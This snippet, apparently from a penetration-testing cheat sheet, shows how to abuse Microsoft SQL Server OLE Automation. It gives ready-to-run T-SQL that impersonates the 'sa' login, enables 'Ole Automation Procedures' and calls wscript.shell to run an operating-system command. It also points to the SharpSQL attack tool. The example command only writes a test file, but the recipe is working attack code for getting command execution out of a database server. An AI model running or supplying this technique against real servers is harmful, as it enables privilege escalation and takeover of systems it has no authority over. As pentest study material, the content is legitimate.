Object Linking and Embedding (OLE)
Using sp_OACreate and sp_OAMethod stored procedures to create and execute a new stored procedure based on Object Linking and Embedding (OLE).
EXECUTE AS LOGIN = 'sa'
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE
DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT
EXEC sp_oamethod @myshell, 'run', null, 'cmd /c \"echo Test > C:\\Tools\\file.txt\"'Also possible through SharpSQL -> https://github.com/mlcsec/SharpSQL#ole-object-via-impersonation
Last updated